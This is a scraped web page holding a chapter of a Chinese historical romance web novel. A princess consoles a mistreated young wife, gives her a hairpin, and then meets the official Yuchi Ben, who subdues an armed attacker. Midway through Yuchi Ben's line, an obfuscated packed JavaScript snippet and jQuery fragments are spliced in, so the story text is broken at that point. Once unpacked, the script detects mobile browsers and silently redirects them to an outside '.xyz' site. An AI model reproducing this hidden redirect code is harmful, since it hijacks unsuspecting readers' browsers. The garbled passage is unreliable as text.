9. 大人不信吗

作品:《我可不是娇滴滴的公主

    百味阁厢房内萦绕着佳肴的烟火气,李云漱伸手夹了块蟹肉放入冯雪时碗中。


    她方才见徐家饭桌上的伙食,不是素菜便是糊成一团的剩菜,一点荤腥不见,便没忍住点了一桌的肉食。


    好好一个大小姐,嫁出去了反而吃食差成那样。


    “徐举人家中未免太过清贫,方才我瞧那桌上的饭菜也太过素了,冯大人对这女婿竟也不照料一二?”


    李云漱又举起筷子替冯雪时夹了两道菜,笑着调侃。


    冯雪时受宠若惊的扶着碗,眨了眨眼,细声细语:“出嫁时父亲为我备了许多嫁妆,便是知道徐家不富裕,想让我婚后日子过得好些。”


    “只是……”她又顿了顿,低头涩声道:“刚嫁进徐家,婆家便以夫君日后仕途需要钱财打点为由,将嫁妆悉数收走了,称是替我保管。”


    李云漱鄙夷,这不就是阴险狡诈的婆家侵占儿媳嫁妆。


    “那你夫君可知此事?”李云漱询问。


    冯雪时轻轻摇头:“夫君平日里忙,马上便是会试,我也不愿他在我与婆家之间为难。”


    李云漱默默闭眼捏了捏眉心,被她的话噎住,一时无言以对。


    又是和温酌春同类型的自我牺牲式爱情,为了心爱的郎君可以吃苦受累,可以受伤崩溃,甚至可以殒命无悔,但就是不能离开郎君。


    她睁开眼,又瞧见对面的温暮尔亦是一脸无语,与其对视,默默撇嘴摇头。


    无可救药了。


    她转而又开口:“虽说徐举人今后这仕途需要银钱打点,可总不能顿顿荤腥不见,徐举人也同意?”


    先劝导劝导她在伙食上对自己好些吧。


    真害怕徐举人官还没当上,一家子先营养不良饿死了。


    “夫君自是不能同我们这样吃的,他的吃食是婆母额外做的,荤素均匀,由表妹送去文瀚斋。”冯雪时垂下眼苦笑。


    缺心眼啊。


    李云漱打量着冯雪时的表情,见她面带苦涩,分明是心中不愿,却又不敢反抗。


    是不敢吗?想来不是,只怕是为了自己夫君硬要咽下这苦楚,可如若她夫君真爱她,又怎舍得让她一人承受这辛酸。


    其实有事直言即可,何必心中不情愿,表面却又应下。


    美名其约为对方着想,反而会将其推得更远。


    李云漱垂下视线,又见其碗中还留着那块蟹肉。


    冯雪时虽吃得慢,却也将碗中米饭与她夹的其它菜悉数吃下肚,独留那块蟹肉孤零零躺在碗中。


    她诧然,伸出纤细白皙的手指了指那块蟹肉。


    “冯姑娘是不爱吃螃蟹吗?”


    冯雪时愣了一瞬,随即解释:“喜欢的,只是婆母说螃蟹性寒,不让我吃。”


    “你怀孕了?”


    “你已经有了?”


    李云漱、温暮尔两人双双惊得站起身,目眦欲裂。


    李云漱咬牙,冯雪时嫁入徐家不过几日,如此快地就诊出有孕,那便是婚前……


    徐举人真是畜生啊!


    “不不不,不是的,是婆母让我勿食性寒之物,以便日后为徐家添子。”冯雪时急得忙摆手否认。


    两人这才松了口气,又缓缓坐下。


    原只是恶毒婆婆太刁钻,掌控欲过强啊。


    李云漱暗暗抚了抚心口,放下心来。


    她瞧着冯雪时碗里剩下的那块蟹肉,竟是越看越不顺眼,反而又多加了几块蟹肉,放入其碗中。


    什么糊涂老太太,不让人吃螃蟹,她偏要让冯雪时吃。


    李云漱笑眯眯作“请”的手势,勾唇解释:“虽说螃蟹性寒,却也不是一点不能吃的,只是不宜多食,偶尔吃些反而有好处。”


    说罢,她歪头静静凝视着冯雪时,直到后者听话动筷吃下蟹肉,她这才满意地眯起眼睛。


    “对嘛,听说你婆母一家原先是屠户营生,想来没什么时间多看些书,许多事情是听的风言风语罢了,不曾有自己的判断。”


    李云漱又用食指指尖轻轻在蟹盘前点了点,扬了扬眉:“你瞧,这件事便是她判断有误。”


    冯雪时默默点头。


    三人吃好出了百味阁,李云漱悄然无声地扫视着冯雪时的衣着打扮,瞥见她头上的素簪,不由得拧眉。


    “冯姑娘打扮的倒是素雅极了,父皇常教导我与哥哥们行事要低调,我是该向你学学。”她借着由头夸赞。


    冯雪时下意识便摸了摸发上的簪子,不好意思地摇摇头:“不,您尚未出阁,又贵为公主,是该打扮得俏丽些,我已为人妇不可太张扬。”


    已为人妇,不可太张扬。


    李云漱在心中复述这句话,眉头拧得更深了,这只怕又是冯雪时那婆家说的。


    徐家那表妹倒是涂脂抹粉,头戴珠花。


    她也不反驳,只是将自己头上的红玉嵌金蝶步摇取下,又笑盈盈伸手簪在冯雪时发间。


    “果真好看,这步摇衬你,初次见面又如此唐突,这步摇便是本公主赠与你的见面礼。”


    李云漱目光流露赞叹之色,声音温和却又不容人拒绝。


    冯雪时也只好顺势俯首谢礼。


    “本公主倒是没怎么来过城西这边,还烦请冯姑娘带我逛逛。”


    她弯唇甜甜一笑,娇俏地请求。


    冯雪时自然不会拒绝,温顺地点头,起步朝城西街巷走。


    李云漱不紧不慢地跟在后头,瞧着她发上步摇的珠链随着身体行走而微微晃动,当即惬心的展颜而笑。


    冯雪时嫁入徐家虽过得不好,但到底是人家的家事,她不好插手。


    她抬眼望向冯雪时头上的步摇,又想起徐家表妹那精致的扮相,唇瓣上扬的弧度不由得更甚。


    表妹啊表妹,你可千万不要让本公主失望呢。


    三人在城西一直闲逛到天色渐暗,李云漱这才与两人告别。


    她也并非想在城西转悠,但若是放冯雪时回去,估计也会被徐家盯着干活。


    想来冯雪时嫁进徐家也未曾出门游玩过,倒不如好好逛一逛,释放久积压抑的情绪。


    出来一天,也不知春序把信封给温酌春时,她的反应如何,倒是要快些回宫问问春序。


    这么想着,李云漱不由得加快脚步。


    傍晚天色灰暗,四下环境也显得灰蒙了些,李云漱却望见不远处有一抹熟悉的身影。


    身形气质倒是与尉迟本极像,她快步上前,想要看的真切些。


    未料到那人竟突然停下转身,李云漱来不及停步,便下意识用力伸手推了那人一把。


    好险,差点就撞进他怀里了。


    那人一个踉跄险些没站住,随后错愕出声:“公主?”


    李云漱抬头看清男子长相,漾起灿烂的笑:“好巧啊尉迟大人。”


    “巧吗?”尉迟本后退一步与她拉开距离,皮笑肉不笑的反问。


    李云漱眨眨眼,笑盈盈:“不巧吗?我们不是常在宫外巧遇吗?”


    尉迟本却答非所问:“公主几日不曾令臣入宫教习


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076015|163378||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    防身之术,如今又有闲心在宫外闲逛,想必是十分精益了。”


    分明才两日,说的跟大半月不曾教习一样。


    李云漱暗暗在心中腹诽。


    她又摸了摸鼻子,讪笑道:“劳逸结合嘛,这也才歇了两日而已。”


    尉迟本不语,大步朝前走。


    李云漱愣住,望着尉迟本的背影皱了皱鼻子。


    真没礼貌,不声不吭就走了。


    但很快,尉迟本又回头冷冷出声:“不跟上吗?天色已晚,公主一介女子还要在这一直站着?”


    李云漱迅速上前。


    她努力跟上尉迟本行走的速度,一边快步追着一边开口问道:“尉迟大人可方便告诉我你的八字?”


    “公主要这个做什么?”


    “观星台的司天监算的可准了,我可以帮你问问他。”


    “不必了。”


    “大人不信?这个可准……”李云漱试图说服他,只是话还未说完便被他捂住嘴拉到一旁的小巷中。


    她被尉迟本摁着一同蹲下,虽嘴被捂着无法说话,她却也不挣扎,只好奇的眨着眼。


    尉迟本看着眼前乖巧的女孩,眼睛水盈盈的,长睫如同蝴蝶振翅忽闪,鼻尖还有一颗小痣显得她更为娇俏可人,他一时怔愣。


    直至温热的鼻息喷洒在他捂着她的手上,他这才默默松开手。


    李云漱凑到他耳旁小声询问:“怎么啦?有刺客?”


    尉迟本轻摇头,微微探首观察巷外:“是之前查案揪出的一个小官,被罢职后其母气急而亡,应该是来报复的,他手中有刀。”


    李云漱立即好奇探头,果真望见一人朝这边走近,手中物正泛着寒光。


    她又立马缩回头,捂嘴小声道:“你打不过他?”


    他摇头:“只是担心公主千金之尊被误伤。”


    尉迟本仍观察着巷外之人动静,李云漱瞧着他冷峻的脸,细声细气询问:“你做这一行,是不是经常得罪人?”


    他没吭声,侧目瞥了一眼李云漱,不在意地轻轻点头。


    随后飞快闪出小巷。


    李云漱躲在巷子里没敢动弹,但很快又听见兵器落地的响声,她方才畏畏缩缩伸出脑袋查看。


    尉迟本已那人制服。


    她跑出巷子,提裙踢了一脚歹徒,兴奋的拍拍手:“尉迟大人你真厉害。”


    尉迟本默默躲开她炙热的目光,望向他处:“我将他送去衙门。”


    “我陪你去!”


    尉迟本未语,却也没拒绝。


    陪尉迟本将歹徒扭送衙门,李云漱又被他送到了宫门外。


    她忽而又跑到宫门旁一颗巨大的榕树下,从怀中取出一块精致的檀木嵌玉的福牌,福牌下还挂着一颗银铃。


    她将福牌递给尉迟本:“烦请大人替我将福牌系到树枝上。”


    尉迟本不解,却仍替她系上。


    随后问她:“这福牌看着价值不菲,宫门处人多眼杂,公主不怕被偷?”


    李云漱不以为然,踮脚伸手轻轻推了推福牌,福牌随着她的动作晃晃悠悠,银铃发出清脆悦耳的响声。


    她双手合十,闭眼祈祷。


    旋即她又睁开眼,步履轻盈地跑向宫门出值班的侍卫,指着身后榕树:“那树上挂着本公主系的福牌,你通传所有轮班侍卫,替本公主守着,切勿让人偷拿了去。”


    侍卫立马应声答下。


    李云漱得意地朝尉迟本一笑。


    本公主的东西,谁敢拿?